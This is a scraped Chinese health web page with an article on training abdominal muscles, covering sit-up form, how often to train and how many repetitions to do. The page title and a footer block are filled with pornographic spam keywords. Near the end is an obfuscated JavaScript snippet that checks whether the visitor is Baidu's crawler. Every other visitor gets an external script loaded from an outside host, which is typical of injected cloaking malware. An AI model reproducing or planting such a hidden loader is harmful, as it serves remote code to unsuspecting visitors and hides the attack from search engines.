久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

如何鍛煉腹肌呢

2017-04-15 08:50:39  來源:360常識網   熱度:
導語:腹肌是男人好身材的完美體現,但是鍛煉腹肌的過程是很艱苦的,說到怎樣練腹肌最快最有效,唯一的方法就是練。只有堅持不斷地去練,才能練出

腹肌是男人好身材的完美體現,但是鍛煉腹肌的過程是很艱苦的,說到怎樣練腹肌最快最有效,唯一的方法就是練。只有堅持不斷地去練,才能練出腹肌,保持6塊或者8塊腹肌。如果想通過其它什么所謂的捷徑,比如:不吃飯、抽脂等,都是曇花一現!那么男人該怎么鍛煉出自己的腹肌呢,下面我就來為大家說一下吧。

1、傳統的仰臥起坐對腹部減肥增肌意義不大

一直被我們奉為獲得平坦緊實腹部看家“法寶”的仰臥起坐,卻沒能躋身于美國權威健身機構“最有效的健腹健身法”名單之列。原因很簡單,仰臥起坐時我們的動作常常不到位,通常是背 部和肩部使足了勁兒,而腹部卻沒有得到真正的鍛煉

仰臥起坐改良版:如果想讓仰臥起坐發揮更好的效果,可以嘗試做如下改變——每分鐘僅做10次仰臥起坐,在上身與地面呈45度角的時候保持5秒鐘,這樣的效果比起1分鐘做60次的要好很多!

2腹肌鍛煉不必要每天進行

腹肌與身體其他部位的肌肉形成過程是完全相同的,也需要有一段時間來進行塑造。因為在大運動量的訓練完畢之后,肌肉組織的細胞形態雖然被改變了,但還沒 有完全成型,通常要在48小時之后才能完成肌肉“重建”的任務。每天進行腹部的鍛煉固然能夠促進脂肪的燃燒,卻沒有給腹肌的形成留下時間,一旦鍛煉松懈下 來,贅肉會馬上發起“反攻”,一切豈不前功盡棄?正確的練習頻率:1周3次。

3、鍛煉腹肌的動作到位即可,不是做得越多越好

把一個動作重復做上100遍,就能夠得到比做50遍好1倍的效果嗎?健身不是單純的量的累計,而應該重視質的變化。以“船長椅”器械訓練為例,許多人都會連續做上幾十個,直到大汗淋漓氣喘吁吁才不得不停下來。資深的健身教練認為,腹肌的訓練關鍵是動作要到位,而且需要適當的停頓,最好以15個動作為1組,每次做2~3組就可以了。強化效果的辦法:在鍛煉中多一些變化,比如在腿部綁一個小沙袋,效果就會不同了。

上面幾點就是如何鍛煉腹肌的方法和注意事項,只要我們在控制好飲食。做適量有氧運動的基礎上,再按照我上面所說的腹肌訓練方法去鍛煉,相信有一天你就會看到完美大小腹肌和馬甲線的,同樣平時也要注意對蛋白質的補充,做到勞逸結合,不要過度的訓練,要保證充足的睡眠,祝您早日成功。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美狠狠操 | 97国产精品视频人人做人人爱 | 久久成人18免费网站 | 一区二区三区视频 | 久久精品播放 | 91色在线| 日日干夜夜干 | av一区二区三区四区 | 日韩av在线免费电影 | 亚洲第一福利视频 | 欧美成人影院 | 国产中文字幕一区二区三区 | 日韩精品久久久久久 | 91麻豆产精品久久久久久 | 天天澡天天狠天天天做 | www.视频在线观看 | 美女精品视频在线 | 国产精彩视频 | 五月婷婷综合激情 | 九九亚洲 | 亚洲一二三四在线 | 欧美大片一区二区 | 一级黄色爱爱视频 | 日韩av一区三区 | 在线免费中文字幕 | 国产一区二区毛片 | 成人在线国产 | 日韩一区高清视频 | 好硬好涨老师受不了了视频 | 午夜精品久久久久久久久 | 性感视频网站 | 97国产一区二区精品久久呦 | 美女视频一区 | 国产一区视频在线 | 日韩久久综合 | 日韩av免费在线观看 | 久久综合一区二区 | 色综合久久久久 | 日本不卡网站 | www.4虎| 久久韩剧 |